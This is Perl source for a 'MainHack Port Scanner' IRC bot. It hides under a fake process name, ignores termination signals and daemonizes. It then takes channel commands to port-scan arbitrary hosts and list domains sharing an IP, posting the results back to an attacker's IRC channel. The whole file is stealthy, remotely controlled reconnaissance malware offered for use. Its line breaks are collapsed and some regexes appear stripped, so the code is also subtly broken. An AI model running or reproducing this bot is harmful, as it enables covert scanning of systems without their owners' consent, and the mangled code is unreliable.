#!/usr/bin/perl ################################## # Coded by Vrs-hCk # ################################## # PortScan v1.0 Final Version # # MainHack BrotherHood # # d00r@telkom.net # ################################## use HTTP::Request; use LWP::UserAgent; use IO::Socket; use IO::Select; use Socket; my $fakeproc = $ARGV[5]; $ircserver = $ARGV[0] unless $ircserver; my $nickname = $ARGV[1]; my $ident = $ARGV[2]; my $channel = '#'.$ARGV[3]; my $runner = $ARGV[4]; my $fullname = '15(7@2MainHack Port Scanner15)'; my $ircport = '7000'; my $portscan = '!portscan'; my $fullport = '!nmap'; my $success = "\n [+] MainHack Port Scanner v1.1\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n"; my $failed = "\n [?] perl $0 \n\n"; if (! $ARGV[1]){die ($failed);} if (! $ARGV[2]){die ($failed);} if (! $ARGV[3]){die ($failed);} if (! $ARGV[4]){die ($failed);} if (! $ARGV[5]){die ($failed);} print $success; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; chdir("/"); $ircserver="$ARGV[0]" if $ARGV[0]; $0="$fakeproc"."\0"x16;; my $pid=fork; exit if $pid; die "Something Wrong !!!: $!" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_client = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub connector { my $mynick = $_[0]; my $ircserver_con = $_[1]; my $ircport_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_client->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con"; $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost; nick("$mynick"); sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname"); sleep 1; } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION mIRC v6.17 Khaled Mardam-Bey\001"); } if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; } } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($mynick)) { $mynick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$mynick|".int rand(999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $mynick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; sendraw("MODE $nickname +Bx"); sendraw("JOIN $channel"); sendraw("PRIVMSG $channel :Gue gitu loch :D"); sendraw("PRIVMSG $runner :Hi $runner im here !!!"); } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); } delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_client->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $mynick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_client->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); $msg =~ s/\r\n$//; if ($msg=~ /PRIVMSG $channel :!help/){ sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 !nmap | !portscan | !host | !about "); } if ($msg=~ /PRIVMSG $channel :!about/){ sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)12 MainHack Port Scanner v1.1"); } if ($msg=~ /PRIVMSG $channel :!pid/){ sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2PID15)12 Process/ID : 4 $fakeproc - $$"); } ##################################################################### Port Scanner if ($msg=~ /PRIVMSG $channel :$portscan\s+(.*)/ ) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hostip = "$1"; my @ports = ("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","9997","10000","12345","19150","27374","31310","33133","33733","55555"); my (@openport, %port_banner); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2PortScan15)12 Scanning4 $hostip 12for Open Port(s)..."); foreach my $port (@ports) { my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $port, Proto => 'tcp', Timeout => 4); if ($scansock) { push (@openport, $port); $scansock->close; } } if (@openport) { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2PortScan15)4 $hostip 12Open Port(s):4 @openport"); } else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2PortScan15)4 $hostip: 12No open ports found."); } } exit; }} ##################################################################### Full Port Scanner if ($msg=~ /PRIVMSG $channel :$fullport\s+(.*)\s+(\d+)\s+(\d+)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hostname = "$1"; my $startport = "$2"; my $endport = "$3"; my (@portfound, %port_banner); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2nmap15)12 Scanning4 $hostname [$startport..$endport] 12for open port(s)..."); foreach my $port ($startport..$endport) { my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $port, Proto => 'tcp', Timeout => 4); if ($scansock) { push (@portfound, $port); $scansock->close; } } if (@portfound) { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2nmap15)4 $hostname 12Open Port(s):4 @portfound"); } else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2nmap15)4 $hostname: 12No open ports found."); } } exit; }} ##################################################################### www.myipneighbors.com - DOMAIN HOSTED SCANNER if ($msg=~ /PRIVMSG $channel :!host\s+(.*)/ ) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $ipaddr = $1; sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2MainHack15)12 Domain in7 ".$ipaddr." 12Host ..."); my $hashing = "http://www.myipneighbors.com/?search=".$ipaddr."&commit=search"; my $res = getcontent($hashing); while ($res =~ m/(.*)<\/td>/g) { my $dns1 = $1; sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2MainHack15)12 ".$ipaddr." 4->3 ".$dns1); sleep(2); } while ($res =~ m/(.*)<\/td>/g) { my $dns2 = $1; sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2MainHack15)12 ".$ipaddr." 4->3 ".$dns2); sleep(2); } if ($res !~ m/.*<\/td>/g) { if ($res =~ m/$ipaddr<\/b> has address (.*)<\/b>/g) { $mydns = $1; sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2MainHack15)12 ".$ipaddr." 4->3 ".$mydns); } else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2MainHack15)12 ".$ipaddr." 7->4 Bad Domain."); } } sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2MainHack15)12 Listing of Domain in4 ".$ipaddr." 12is Done."); } exit; }} for (my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } }} sub getcontent() { $url = $_[0]; my $req = HTTP::Request->new(GET => $url); my $ua = LWP::UserAgent->new(); $ua->timeout(10); my $response = $ua->request($req); return $response->content; } sub nick { return unless $#_ == 0; sendraw("NICK $_[0]"); } sub notice { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); }